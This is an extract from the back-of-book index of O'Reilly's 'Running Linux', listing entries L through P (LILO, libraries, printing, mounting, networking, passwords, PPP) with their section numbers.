lf variable (printcap): 8.4.5.3. The rest of the printcap variables
<li> HTML tag: 16.1.4.6. More HTML features
/lib directory: 8.6.2. Accessing Damaged Files
Libart engine for GNOME: B.5.1.4. The Canvas/Libart engines
libc library, upgrading: 7.2.1. Upgrading Libraries
7.2.1. Upgrading Libraries
libnsl: 15.4.2. Configuring NIS
libraries
programming: 13.1.1. Quick Overview
13.1.7. More Fun with Libraries
shared: 8.6.2. Accessing Damaged Files
13.1.7.1. Creating shared libraries
Sun SPARC systems: F.2. System Libraries
upgrading: 7.2.1. Upgrading Libraries
LIBRARY_PATH environment variable: 13.1.7.1. Creating shared libraries
licenses: 1.6. About Linux's Copyright
2.1.1. Getting Linux via Mail Order or Other Hard Media
Netscape Navigator: 16.1.1. Using Netscape Navigator
X Window System: 10. Installing the X Window System
LILO (Linux Loader): 3.1.1. Booting Linux
3.1.7. Creating the Boot Floppy or Installing LILO
3.3.4.2. Problems booting Linux from the hard drive
5.2.2. Using LILO
boot and command options: G. LILO Boot Options
configuring: 5.2.2.1. The /etc/lilo.conf file
removing: 5.2.2.4. Removing LILO
as secondary boot loader: 5.2.2.2. Using LILO as a secondary boot loader
specifying hard drive geometry: 3.3.2.2. Problems recognizing hard drive or controller
lilo.conf file: 5.2.2.1. The /etc/lilo.conf file
linear option (LILO): G.1. Global Options
linefeed characters: 8.4.1. Checking Printer Hardware
8.4.7. Print Filters
linker: 13.1.1. Quick Overview
links
symbolic: 4.4.4. Symbolic Links
Web: 16.1. The World Wide Web
16.1.1. Using Netscape Navigator
16.1.4.3. Using links
Linux
advantages of: 0.1. Why People Like Linux
1.8. Differences Between Linux and Other Operating Systems
1.8.1. Why Use Linux?
booting up: 3.1.1. Booting Linux
3.3.4.1. Problems booting Linux from floppy
5.1. Running the System
5.2. Booting the System
cost of (see cost of Linux)
design and philosophy of: 1.7. Open Source and the Philosophy of Linux
distributions
installation differences: 3.1.6. Installing the Software
distributions of: 2.1. Distributions of Linux
documentation (see documentation)
Documentation Project (see LDP)
features of: 1.4. System Features
hardware requirements: 1.9. Hardware Requirements
history of: 0. Preface
1.2. A Brief History of Linux
installing: 2.2. Preparing to Install Linux
3.1. Installing the Linux Software
Alpha systems: C.3. Identifying Your Alpha System
C.3. Identifying Your Alpha System
C.6. Installing Linux
Motorola 68000-series systems: E. Installing Linux/m68k on Motorola 68000-Series Systems
Sun SPARC systems: F. Installing Linux on Sun SPARC Systems
tasks immediately after: 3.2. Post-Installation Procedures
troubleshooting: 3.3. Running Into Trouble
kernel (see kernel)
partition requirements: 2.2.3. Linux Partition Requirements
performance of (see performance)
shutting down: 3.2.4. Shutting Down the System
5.3.3. rc files
5.5. Shutting Down the System
single-user mode: 5.2.2.3. Specifying boot time options
5.4. Single-User Mode
Software Map (LSM): A.1. Online Documents
linux command, boot-time parameters: 3.1.1. Booting Linux
Linux Journal: 1.10.2. Books and Other Published Works
Linux Magazine: 1.10.2. Books and Other Published Works
Linux/m68k: E. Installing Linux/m68k on Motorola 68000-Series Systems
booting: E.4.1. Booting Linux
hardware: E.2. Supported Hardware
partitions and filesystems: E.4.2. Partitioning and Filesystems
X Window System: E.4.3. The X Window System
LinuxPPC: D. LinuxPPC: Installing Linux on PowerPC Computers
hardware: D.1. Compatible Hardware
hardware concerns: D.6. Getting Hardware to Do What You Want It to Do
kernel and library concerns: D.2. Kernel and Library Issues
preparing to boot: D.3. Preparing to Boot LinuxPPC
Red Hat Installer: D.4. Using the Red Hat Installer
LISP language: 13.7. Other Languages
list command (gdb): 14.1.1. Tracing a Program
list-faces-display command (Emacs): 11.4.7. Emacs
listing files: 4.4.2. Listing Files
lists in HTML: 16.1.4.6. More HTML features
literal= option: G.3. Kernel Options
ln command: 4.4.4. Symbolic Links
6.3. Device Files
7.2.1. Upgrading Libraries
loadable device drivers: 7.5. Loadable Device Drivers
loadable module support: 7.4.2. Building the Kernel
loader= option (LILO): G.2. Image Options
loading modules automatically: 7.6. Loading Modules Automatically
local bus architecture: 1.9.1. Motherboard and CPU Requirements
local directory: 4.16. Important Directories
lock option (LILO): G.2. Image Options
lock parameter (linux): 3.1.1. Booting Linux
locking files: 14.2.7. Revision Control Tools--RCS
(see also revision control)
Elm: 16.2.4.1. Preparing for installation
logging in: 3.3.4.3. Problems logging in
4.1. Logging In
from terminals: 5.3.3. rc files
logical partitions: 2.2.2. Repartitioning Concepts
2.2.2. Repartitioning Concepts
Logical Unit Number (LUN): 3.1.1. Booting Linux
login prompt: 3.3.1. Problems with Booting the Installation Media
4.1. Logging In
Logitech mice: 10.4. Configuring XFree86
logs
printer error: 8.4.5.3. The rest of the printcap variables
rotating: 8.3. Managing System Logs
system: 8.3. Managing System Logs
look-and-feel, GNOME desktop: B.3. The GNOME Desktop: A User's Point of View
loopback address: 15.1.1. TCP/IP Concepts
15.1.3.1. Your network configuration
Lout package: 8.4.4. Checking Print Utilities
lp# files: 8.4.1. Checking Printer Hardware
lp command: 9.5. Printing
lp variable (printcap): 8.4.5.3. The rest of the printcap variables
lpadmin command: 9.5. Printing
lpc utility: 8.4.7. Print Filters
8.4.11. Exercising the Printer Daemon
8.4.12. Controlling Printer Services with lpc
9.5. Printing
lpd daemon: 8.4. Managing Print Services
8.4.11. Exercising the Printer Daemon
8.4.14. Printer System Troubleshooting
9.5.1. What Happens to a File After It's Put on the Queue
lpq command: 9.5. Printing
lpr command: 9.5. Printing
lprm command: 9.5. Printing
lpstat command: 9.5. Printing
lptest command: 8.4.11. Exercising the Printer Daemon
lptest file: 8.4.1. Checking Printer Hardware
lptest utility: 8.4.1. Checking Printer Hardware
ls command: 4.4.2. Listing Files
LSM (Linux Software Map): A.1. Online Documents
lsmod command: 7.5. Loadable Device Drivers
LUN (Logical Unit Number): 3.1.1. Booting Linux
Lynx browser: 16.1.1. Using Netscape Navigator
LyX package: 9.3.4. Word Processors

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: M (Running Linux)

CGI Programming with PerlSearch this book

Index: M

Macintosh emulator: 12.2. Sharing Programs
Macintosh, Linux on: D. LinuxPPC: Installing Linux on PowerPC Computers
hardware concerns: D.6. Getting Hardware to Do What You Want It to Do
kernel and library concerns: D.2. Kernel and Library Issues
preparing to boot: D.3. Preparing to Boot LinuxPPC
Red Hat Installer: D.4. Using the Red Hat Installer
macros
Emacs: 9.2.6. Macros
make: 13.2.3. Macros
Magic-Filter: 8.4.9. Magic Filters: APSfilter and Alternatives
magic filters, printing: 8.4.9. Magic Filters: APSfilter and Alternatives
mail order, obtaining Linux via: 2.1.1. Getting Linux via Mail Order or Other Hard Media
mail readers: 1.5.7. Networking
9.2.7. Running Commands and Programming Within Emacs
mailing lists
AlphaLinux: C.4.1.2. AlphaLinux mailing lists
Linux documentation via: 1.10.4. Internet Mailing Lists
main(): 13.6.3. A Working Example of Java
major device number: 6.3. Device Files
make clean program: 7.4.2. Building the Kernel
make config program: 7.4.2. Building the Kernel
make dep program: 7.4.2. Building the Kernel
make menuconfig program: 7.4.2. Building the Kernel
make program: 13.2. Makefiles
13.2.1. What make Does
14.2.4. make and imake
make zImage command: 7.4.2. Building the Kernel
MAKEDEV script: 6.3. Device Files
Makefile file: 7.2.3. Upgrading Other Software
makefiles: 13.2. Makefiles
14.2.4. make and imake
shell commands in: 13.2.5. Multiple Commands
syntax for: 13.2.2. Some Syntax Rules
makeinfo command: 9.3.3.2. Formatting Texinfo
man command: 3.2.2. Getting Online Help
4.12. Manual Pages
man directories: 9.3.2.2. Formatting and installing the manual page
MANPATH variable: 4.12. Manual Pages
manual pages: 3.2.2. Getting Online Help
4.12. Manual Pages
7.2.3. Upgrading Other Software
Elm mailer: 16.2.4.3. Elm documentation
formatting with groff: 9.3.2. groff
writing with groff: 9.3.2.1. Writing a manual page
X Window System and: 11.4.9. xman: A Point-and-Click Interface to Manual Pages
map file: 5.2.2.1. The /etc/lilo.conf file
map= option (LILO): G.1. Global Options
marks: 9.1.10. Global Searching and Replacing
9.2.4. Deleting, Copying, and Moving Text
markup languages: 1.5.2. Text Processing and Word Processing
master boot record: 2.2.2. Repartitioning Concepts
master boot record (MBR): 5.2.2.4. Removing LILO
math coprocessor: 1.9.1. Motherboard and CPU Requirements
3.1.1. Booting Linux
math emulation: 7.4.2. Building the Kernel
Mattis, Peter: B.2. A Brief History of the GNOME Project
mattrib utility: 12.1.4. Utilities for Accessing DOS Filesystems: MTools
max_scsi_luns= parameter (linux): 3.1.1. Booting Linux
MBR (master boot record): 5.2.2.4. Removing LILO
mcd= parameter (linux): 3.1.1. Booting Linux
mcd utility: 12.1.4. Utilities for Accessing DOS Filesystems: MTools
mcopy utility: 12.1.4. Utilities for Accessing DOS Filesystems: MTools
mdel utility: 12.1.4. Utilities for Accessing DOS Filesystems: MTools
mdir utility: 12.1.4. Utilities for Accessing DOS Filesystems: MTools
mem= parameter (linux): 3.1.1. Booting Linux
5.2.2.3. Specifying boot time options
meminfo file: 5.6. The /proc filesystem
memory: 0.1. Why People Like Linux
1.4.3. Kernel
6.2. Managing Swap Space
(see also swap space)
address, cannot access error: 14.1.2. Examining a Core File
checking in /proc filesystem: 5.6. The /proc filesystem
Dosemu requirements: 12.2.1. DOS Emulators: Dosemu and xdos
du command: 4.9. Saving Your Output
fvwm requirements: 11.2. The fvwm Window Manager
hardware problems: 3.3.2.1. Isolating hardware problems
hung system and: 3.3.1. Problems with Booting the Installation Media
informing kernel of RAM: 5.2.2.3. Specifying boot time options
insufficient: 3.3.3. Problems Installing the Software
Linux requirements: 1.9.2. Memory Requirements
MTRR (Memory Type Range Register): 7.4.2. Building the Kernel
out-of-memory errors: 3.3.1. Problems with Booting the Installation Media
print jobs: 8.4.5.3. The rest of the printcap variables
removable storage devices: 1.9.6.3. Tape drives and removable storage
requirements for backups: 8.1. Making Backups
shutting down improperly: 3.2.4. Shutting Down the System
variable storage address: 14.1.5. Getting Information
violations: 14.1.2. Examining a Core File
14.2.5. Using Checker
virtual (see swap space)
Wine emulator: 12.2.4. Windows Emulation: Wine
X Window System requirements: 10.2. Hardware Requirements
memory-mapped I/O: 3.3.2.3. Problems with SCSI controllers and devices
menu bar (Emacs): 11.4.7. Emacs
menus
fvwm: 11.2.2. More Customizations
message= option (LILO): G.1. Global Options
messages
error (see errors)
kernel boot: 5.3.1. Kernel Boot Messages
META-FAQ, Linux: A.1. Online Documents
METAFONT system: 1.5.2. Text Processing and Word Processing
method attribute (HTML): 16.1.5.1. The HTML form document
methods file: 16.2.1.7. smail runtime configuration files
metric values: 15.1.3.2. The networking rc files
mformat utility: 12.1.4. Utilities for Accessing DOS Filesystems: MTools
mice: 1.9.6.1. Mice and other pointing devices
3.1.1. Booting Linux
Alpha systems and: C.5.5. Mice and Serial Ports
LinuxPPC and: D.6.1. Single-Button Mice
microkernels: 1.4.3. Kernel
Microsoft busmouse interface: 3.1.1. Booting Linux
Microsoft Windows (see Windows operating systems)
MIDI (see audio)
Milo utility: C.3. Identifying Your Alpha System
C.4.2. CPU, Support Chipset, Board, and System Identification
loading: C.6.3. Booting the Alpha System and Preparing to Load Milo
miniloader limitations: C.3.4. Limitations of Milo Miniloader
MIME types: 16.1.4.4. An aside: MIME types
minicom teminal emulator: 15.2.1.3.1. Writing a chat script
minimal completion: 4.7.1. Word Completion
Minix (see history of Linux)
Minix filesystem: 1.2. A Brief History of Linux
6.1.1. Filesystem Types
minor device number: 6.3. Device Files
Mitsumi CD-ROM interfaces: 3.1.1. Booting Linux
mkaliases command: 16.2.1.4. smail EDITME file
mkconfig file: 16.2.1.5. The mkconfig file
mkdir command: 4.4.1. Directories
mke2fs command: 3.1.5. Creating the Filesystems
mkfs command: 6.1.4. Creating Filesystems
MkLinux: D.1.2. Unsupported PowerMacs
mknod command: 6.3. Device Files
mkswap command: 3.1.4. Creating Swap Space
6.2.1. Creating Swap Space
mlabel utility: 12.1.4. Utilities for Accessing DOS Filesystems: MTools
mmd utility: 12.1.4. Utilities for Accessing DOS Filesystems: MTools
modems: 1.5.8. Telecommunications and BBS Software
1.9.6.5. Modems
configuring PPP for: 15.2.1. Basic PPP Configuration for Modems
Modes option (XF86Config): 10.4. Configuring XFree86
modprobe command: 7.5. Loadable Device Drivers
modules: 7.5. Loadable Device Drivers
7.5. Loadable Device Drivers
loading automatically: 7.6. Loading Modules Automatically
modules package: 7.5. Loadable Device Drivers
mogrify utility (ImageMagick): 9.4.1. ImageMagick
monitors: 1.9.5. Monitor and Video Adapter Requirements
10.4. Configuring XFree86
monochrome server: 10.2. Hardware Requirements
monolithic kernels: 1.4.3. Kernel
monospaced fonts: 11.4.5. Choosing Fonts
montage utility (ImageMagick): 9.4.1. ImageMagick
more command: 4.4.3. Viewing Files, More or Less
Mosaic browser: 16.1.1. Using Netscape Navigator
motherboard, Linux requirements: 1.9.1. Motherboard and CPU Requirements
Motif library: 14.2.6. Interface Building Tools
Motorola 68000-series systems: E. Installing Linux/m68k on Motorola 68000-Series Systems
booting Linux/m68k: E.4.1. Booting Linux
hardware: E.2. Supported Hardware
partitions and filesystems: E.4.2. Partitioning and Filesystems
X Window System: E.4.3. The X Window System
Motorola FirePower: D.1.1. Other PowerPC Platforms
mount command: 3.2.3. Editing /etc/fstab
6.1.2. Mounting Filesystems
12.1.1. Mounting DOS, VFAT, and NTFS Partitions
"mount-point busy" error: 6.1.2. Mounting Filesystems
mounting
filesystems: 6.1.2. Mounting Filesystems
15.4.1. Configuring NFS
automatically: 6.1.3. Automounting Devices
Windows-based partitions: 12.1.1. Mounting DOS, VFAT, and NTFS Partitions
Windows directories: 12.1.2. Using Samba to Mount Directories from Windows Systems on Your Network
mounting filesystems: 3.2.3. Editing /etc/fstab
mouse
Emacs and: 11.4.7. Emacs
fvwm, configuring for: 11.2.2. More Customizations
Mouse command (fvwm): 11.2.2. More Customizations
mouse file: 10.4. Configuring XFree86
mousemode program: D.6.1. Single-Button Mice
Mozilla browser: C.7.4. Graphical Browser Considerations
mrd utility: 12.1.4. Utilities for Accessing DOS Filesystems: MTools
mread utility: 12.1.4. Utilities for Accessing DOS Filesystems: MTools
mren utility: 12.1.4. Utilities for Accessing DOS Filesystems: MTools
MS-DOS (see DOS)
12.2.1. DOS Emulators: Dosemu and xdos
accessing Unix from (see Samba)
booting: 5.2.2.1. The /etc/lilo.conf file
emulating: 1.5.9. Interfacing with Windows and MS-DOS
emulators: 12.2.1. DOS Emulators: Dosemu and xdos
filesystems/partitions: 6.1. Managing Filesystems
mounting: 12.1.1. Mounting DOS, VFAT, and NTFS Partitions
Mtools package: 12.1.4. Utilities for Accessing DOS Filesystems: MTools
hard drive partition: 2.2.2. Repartitioning Concepts
MTools utilities: 12.1.4. Utilities for Accessing DOS Filesystems: MTools
partitions/filesystems: 6.1.1. Filesystem Types
starting instead of Linux: 3.3.4.2. Problems booting Linux from the hard drive
MS-DOS Emulator: 1.5.9. Interfacing with Windows and MS-DOS
msmouse= parameter (linux): 3.1.1. Booting Linux
mt command: 8.1.1.1. Backing up to tape
MTA (mail transport agent): 16.2. Electronic Mail
mtools package: 1.5.9. Interfacing with Windows and MS-DOS
MTools utilities: 12.1.4. Utilities for Accessing DOS Filesystems: MTools
MTRR (Memory Type Range Register): 7.4.2. Building the Kernel
mtype utility: 12.1.4. Utilities for Accessing DOS Filesystems: MTools
MUDs (multiuser dungeons): 1.5.10. Other Applications
multimedia: 1.3. Who's Using Linux?
multitasking: D. LinuxPPC: Installing Linux on PowerPC Computers
1.4.2. A Bag of Features
mwrite utility: 12.1.4. Utilities for Accessing DOS Filesystems: MTools
MX record: 16.2.3.1. Registering an address
mx variable (printcap): 8.4.5.3. The rest of the printcap variables

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: N (Running Linux)

CGI Programming with PerlSearch this book

Index: N

name attribute (HTML): 16.1.5.1. The HTML form document
named daemon: 15.1.1. TCP/IP Concepts
15.1.3.1. Your network configuration
15.1.3.2. The networking rc files
names
domain (see DNS)
drives and partitions: 3.1.2. Drives and Partitions Under Linux
of files within /dev: 6.3. Device Files
hard disk with LinuxPPC: D.3.2. Partitioning the Hard Disk
printer: 8.4.5.2. Printer names
serial devices: 15.2.1.2. Serial device names
navigating
within Emacs: 9.2.2. Simple Editing Commands
within vi: 9.1.2. Inserting Text and Moving Around
9.1.5. Moving Commands
the Web: 16.1.2. Navigating the Web
NCSA Mosaic: 16.1.1. Using Netscape Navigator
nenscript utility: 8.4.8. The nenscript Filter
9.5.2. nenscript
nested lists in HTML: 16.1.4.6. More HTML features
NET-4: 15.1. Networking with TCP/IP
NET-4 configuration files: 15.1.3. Configuring TCP/IP with Ethernet
NETBEUI protocol: 12.1.2. Using Samba to Mount Directories from Windows Systems on Your Network
NetBIOS: 12.1.3. Using Samba to Serve SMB Shares
NetBSD: 1.8.4. Other Implementations of Unix
netmask option: 15.1.3.2. The networking rc files
Netscape Communicator: C.7.4. Graphical Browser Considerations
16.1.1. Using Netscape Navigator
Netscape Messenger: 16.2.5. Using Netscape Messenger
Netscape Navigator: 16.1.1. Using Netscape Navigator
netstat command: 15.1.1. TCP/IP Concepts
15.1.3.8. Trying out your network
NetWare for Linux 1.0: 1.5.3. Commercial Applications
network address: 15.1.1. TCP/IP Concepts
networking: 1.4.2. A Bag of Features
1.5.7. Networking
building kernel: 7.4.2. Building the Kernel
device support: 7.4.2. Building the Kernel
hardware support: 1.9.6.5. Modems
installing Linux on Alpha systems: C.3. Identifying Your Alpha System
mounting Windows directories: 12.1.2. Using Samba to Mount Directories from Windows Systems on Your Network
networks: 1.3. Who's Using Linux?
1.4.2. A Bag of Features
(see also TCP/IP)
addresses: 15.1.3.1. Your network configuration
Ethernet: 3.1.1. Booting Linux
15.1.3. Configuring TCP/IP with Ethernet
gateways: 15.1.1. TCP/IP Concepts
PPP: 1.5.7. Networking
15.1. Networking with TCP/IP
15.1.2. Hardware Requirements
dial-up: 15.2. Dial-up PPP
over ISDN: 15.3. PPP over ISDN
synchronous PPP: 15.3.2. Setting Up Synchronous PPP
SLIP: 1.5.7. Networking
15.1. Networking with TCP/IP
15.1.2. Hardware Requirements
15.2. Dial-up PPP
subnetworking: 15.1.1. TCP/IP Concepts
TCP/IP: 15.1. Networking with TCP/IP
X System and (see X Window System)
networks file: 15.1.3.4. /etc/networks
newalias command: 16.2.4.1. Preparing for installation
newgrp command: 5.7.4. The Group File
newline characters: 8.4.1. Checking Printer Hardware
news
Linux documentation via: 1.10.3. Usenet Newsgroups
readers: 1.5.7. Networking
9.2.7. Running Commands and Programming Within Emacs
X Window System: 10.7. Running Into Trouble
next command (gdb): 14.1.1. Tracing a Program
14.1.6.1. Breakpoints and watchpoints
nexti command (gdb): 14.1.6.2. Instruction-level debugging
NFS (Network File System): 1.3. Who's Using Linux?
1.5.7. Networking
15.4. NFS and NIS Configuration
NIS (Network Information Service): 15.4. NFS and NIS Configuration
nmbd daemon: 12.1.3.1. Installing Samba
12.1.3.2. Configuring Samba
nmblookup command: 12.1.3.1. Installing Samba
no-htl parameter (linux): 3.1.1. Booting Linux
no387 parameter (linux): 3.1.1. Booting Linux
"No such file or directory" error: 14.1.3. Debugging a Running Program
noclobber option: 4.9. Saving Your Output
nodes: 9.3.3.1. Writing the Texinfo source
noninitrd= option: G.3. Kernel Options
nonrewinding tape devices: 8.1.1.1. Backing up to tape
nowarn option (LILO): G.1. Global Options
nrft# files: 8.1.1.1. Backing up to tape
nroff: 9.3.2. groff
nsft# files: 8.1.1.1. Backing up to tape
NT (see Windows operating systems)
NTFS filesystems/partitions: 6.1.1. Filesystem Types
mounting: 12.1.1. Mounting DOS, VFAT, and NTFS Partitions
null file: 4.9. Saving Your Output
8.2. Scheduling Jobs Using cron
numbered lists in HTML: 16.1.4.6. More HTML features
nvi editor: 9.1. Editing Files Using vi
NYS: 15.4.2. Configuring NIS

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: O (Running Linux)

CGI Programming with PerlSearch this book

Index: O

object files: 13.1.1. Quick Overview
13.2. Makefiles
(see also makefiles)
obtaining
Dosemu, xdos emulators: 12.2.2. Getting Dosemu and xdos
GNOME: B.6. Getting and Installing GNOME
kernel sources: A.4. General Software FTP Sites
7.4.1. Obtaining Kernel Sources
Linux
mail order (hard media): 2.1.1. Getting Linux via Mail Order or Other Hard Media
online sources: 2.1.3. Getting Linux from Other Online Sources
over Internet: 2.1.2. Getting Linux from the Internet
RZSZ package: H.1. Getting RZSZ
oclock program: 11.4.6. Clocks
of variable (printcap): 8.4.5.3. The rest of the printcap variables
offsets, superblock: 8.6.1. Repairing Filesystems
<ol> HTML tag: 16.1.4.6. More HTML features
old-GNOME project: B.2. A Brief History of the GNOME Project
online help: 3.2.2. Getting Online Help
Open Source Software: 1.7. Open Source and the Philosophy of Linux
operating systems: 1.8. Differences Between Linux and Other Operating Systems
booting wrong one: 3.3.4.2. Problems booting Linux from the hard drive
Linux's advantages over other: 1.8. Differences Between Linux and Other Operating Systems
optcd= parameter (linux): 3.1.1. Booting Linux
Optics Storage Interface CD-ROM interfaces: 3.1.1. Booting Linux
optimization
LILO and: 5.2.2.1. The /etc/lilo.conf file
optimization of code: 13.1.2. gcc Features
13.1.5. Optimizing
14.1.1. Tracing a Program
optional (global) option (LILO): G.1. Global Options
optional (image) option (LILO): G.2. Image Options
ORBs (Object Request Brokers): B.5.2. The Common Object Request Broker Architecture (CORBA)
OS/2: 5.2.2. Using LILO
5.2.2.1. The /etc/lilo.conf file
5.2.2.2. Using LILO as a secondary boot loader
out-of-memory errors: 3.3.1. Problems with Booting the Installation Media
output
cron utility: 8.2. Scheduling Jobs Using cron
printing filters (see filters, printing)
redirection: 4.9. Saving Your Output
Overwrite mode (Emacs): 9.2.8. Tailoring Emacs
overwriting files: 4.9. Saving Your Output
8.1. Making Backups
ownership, file (see permissions)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: P (Running Linux)

CGI Programming with PerlSearch this book

Index: P

<p> HTML tag: 16.1.4.1. HTML basics
packages, installing with RPM: 7.3. Using RPM
packages, Perl: 13.4.2. More Features
packets: 15.1.1. TCP/IP Concepts
packing files (see archiving files; compression)
pager, fvwm: 11.2. The fvwm Window Manager
pages
blank printed: 8.4.14. Printer System Troubleshooting
document, Ghostview and: 11.4.8. Ghostview: Displaying PostScript
length of: 8.4.5.3. The rest of the printcap variables
size (Ghostview): 11.4.8. Ghostview: Displaying PostScript
Web (see World Wide Web)
PAM (Pluggable Authentication Methods): 5.7.3. PAM and Other Authentication Methods
PAP (Password Authentication Protocol): 15.2.1.3.5. PAP and CHAP
parallel port support: 7.4.2. Building the Kernel
partition= option (LILO): G.1. Global Options
partition table: 2.2.2. Repartitioning Concepts
partitions/filesystems: 1.4.2. A Bag of Features
2.2.2. Repartitioning Concepts
2.2.3. Linux Partition Requirements
3.3.2.3. Problems with SCSI controllers and devices
building kernel and: 7.4.2. Building the Kernel
creating: 3.1.5. Creating the Filesystems
creating with fdisk (see fdisk utility)
/etc/fstab file: 3.2.3. Editing /etc/fstab
filesystems on partitions: 6.1.4. Creating Filesystems
on hard-disk partitions: 6.1.4. Creating Filesystems
Linux requirements: 2.2.3. Linux Partition Requirements
Linux/m86k: E.4.2. Partitioning and Filesystems
LinuxPPC on Macintosh: D.3.1. Getting the Mac Ready for Linux
Linux/SPARC systems: F.3.3. Partitioning Disks
managing: 6.1. Managing Filesystems
mounting: 3.1.1. Booting Linux
6.1.2. Mounting Filesystems
15.4.1. Configuring NFS
automatically: 6.1.3. Automounting Devices
names for: 3.1.2. Drives and Partitions Under Linux
NFS (see NFS)
repairing: 6.1.5. Checking and Repairing Filesystems
8.6.1. Repairing Filesystems
repartitioning: 2.2.4. Repartitioning Your Drives
swap: 6.2.1. Creating Swap Space
swap partitions: 2.2.3. Linux Partition Requirements
3.1.3. Creating Linux Partitions
3.1.4. Creating Swap Space
LinuxPPC installation: D.3.2. Partitioning the Hard Disk
MS-DOS emulators: 12.2.1. DOS Emulators: Dosemu and xdos
Wine emulator: 12.2.4. Windows Emulation: Wine
types of: 6.1. Managing Filesystems
6.1.1. Filesystem Types
unmounting: 6.1.2. Mounting Filesystems
virtual: 6.1.1. Filesystem Types
Windows paritions (shares)
serving: 12.1.3. Using Samba to Serve SMB Shares
Windows partitions (shares): 12.1.2. Using Samba to Mount Directories from Windows Systems on Your Network
mounting: 12.1.1. Mounting DOS, VFAT, and NTFS Partitions
MTools for DOS partitions: 12.1.4. Utilities for Accessing DOS Filesystems: MTools
sharing files with Linux: 12.1. Sharing Files
sharing programs with Linux: 12.2. Sharing Programs
pas16= parameter (linux): 3.1.1. Booting Linux
Pascal language: 13.7. Other Languages
passwd command: 3.2.1. Creating a User Account
4.2. Setting a Password
5.7.5. Creating Accounts
5.7.7. Modifying User Accounts
passwd file: 3.2.1. Creating a User Account
5.7.1. The passwd File
8.6.2. Accessing Damaged Files
Password Authentication Protocol (PAP): 15.2.1.3.5. PAP and CHAP
password= option (LILO): G.1. Global Options
G.2. Image Options
passwords: 3.3.4.3. Problems logging in
4.1. Logging In
4.1. Logging In
5.7.1. The passwd File
group: 5.7.4. The Group File
root: 5.1. Running the System
shadow passwords: 5.7.2. Shadow Passwords
Windows partitions (shares): 12.1.2. Using Samba to Mount Directories from Windows Systems on Your Network
Windows services: 12.1.3.2. Configuring Samba
pasting text: 11.4.3. Cutting and Pasting Selections
11.4.7. Emacs
patch program: 7.4.1.2. Applying patches
14.2.9. Patching Files
patches: 7.4.1. Obtaining Kernel Sources
(see also upgrading)
applying: 7.4.1.2. Applying patches
patches, kernel: 7.4.1. Obtaining Kernel Sources
patching files: 14.2.9. Patching Files
path: 4.10. What Is a Command?
for man pages: 4.12. Manual Pages
include: 13.1.7. More Fun with Libraries
PATH_APPLET environment variable: 13.6.4. Executing Java Programs Like Ordinary Programs
PATH_JAVA environment variable: 13.6.4. Executing Java Programs Like Ordinary Programs
patterns
rules for (make): 13.2.4. Suffix Rules and Pattern Rules
search and replace (vi): 9.1.10. Global Searching and Replacing
searching and replace (Emacs): 9.2.5. Searching and Replacing
p2c translator: 13.7. Other Languages
PCI-bus devices: 7.4.2. Building the Kernel
PCMCIA Tools package: 1.9. Hardware Requirements
pcomm package: H.5. Other Interesting Packages
pdisk utility: D.3.2. Partitioning the Hard Disk
PDL (page description language): 8.4.3. Choosing Printer Software
percent sign (%) for job numbers: 4.11. Putting a Command in the Background
performance: 0.1. Why People Like Linux
AlphaLinux installation: C.7.2. Performance and Library Tuning
Java programs: 13.6.1. The Promise of Java, or Why You Might Want to Use Java
printer: 8.4.13. Printer Optimization
rating tools: 14.2.2. Profiling and Performance Tools
period (see dot)
Perl language: 13.4. Using Perl
"permission denied" error: 3.3.3. Problems Installing the Software
3.3.4.4. Problems using the system
6.1.2. Mounting Filesystems
permissions: 3.3.4.4. Problems using the system
4.13. File Ownership and Permissions
denied during booting: 3.3.1. Problems with Booting the Installation Media
device: 6.3. Device Files
filesystems as read-only: 6.1.2. Mounting Filesystems
print services: 8.4.10.2. File, directory, and utility privileges
8.4.14. Printer System Troubleshooting
Windows files: 12.1.3.2. Configuring Samba
Philips CD-ROM interfaces: 3.1.1. Booting Linux
philosophy of Linux: 1.7. Open Source and the Philosophy of Linux
phony targets: 13.2.1. What make Does
pipe (|): 4.9. Saving Your Output
pixel graphics: 12.1.5. File Translation Utilities
PixmapPath command (fvwm): 11.2.1. Configuring fvwm
pl variable (printcap): 8.4.5.3. The rest of the printcap variables
platform independence: 13.6.1. The Promise of Java, or Why You Might Want to Use Java
Plug-and-Play support: 7.4.2. Building the Kernel
Pluggable Authentication Methods (PAM): 5.7.3. PAM and Other Authentication Methods
Point-to-Point Protocol (see PPP)
pointing devices: 1.9.6.1. Mice and other pointing devices
3.1.1. Booting Linux
Alpha systems and: C.5.5. Mice and Serial Ports
LinuxPPC and: D.6.1. Single-Button Mice
port address: 15.1.1. TCP/IP Concepts
port numbers, httpd: 16.1.3.1. httpd.conf
portability: 1.4.2. A Bag of Features
POST method: 16.1.5.1. The HTML form document
postmaster: 16.2.1.2. Configuring a Linux-installed smail package
16.2.1.5. The mkconfig file
PostScript: 8.4.3. Choosing Printer Software
Ghostview and: 11.4.8. Ghostview: Displaying PostScript
nenscript and (see nenscript)
TeX and (see TeX)
POVRAY program: 9.4.3. POVRAY
PowerBook trackpads with LinuxPPC: D.6.2. PowerBook Trackpads
poweroff command: 3.2.4. Shutting Down the System
PowerPC computers, Linux on: D. LinuxPPC: Installing Linux on PowerPC Computers
hardware concerns: D.6. Getting Hardware to Do What You Want It to Do
kernel and library concerns: D.2. Kernel and Library Issues
preparing to boot: D.3. Preparing to Boot LinuxPPC
Red Hat Installer: D.4. Using the Red Hat Installer
PowerSTACK: D.1.1. Other PowerPC Platforms
PPP (Point-to-Point Protocol): 1.5.7. Networking
15.1. Networking with TCP/IP
15.1.2. Hardware Requirements
configuring DNS: 15.2.1.3.3. Configuring DNS
dial-up: 15.2. Dial-up PPP
over ISDN: 15.3. PPP over ISDN
configuring ISDN hardware: 15.3.1. Configuring Your ISDN Hardware
synchronous PPP: 15.3.2. Setting Up Synchronous PPP
troubleshooting: 15.3.3. And If It Does Not Work?
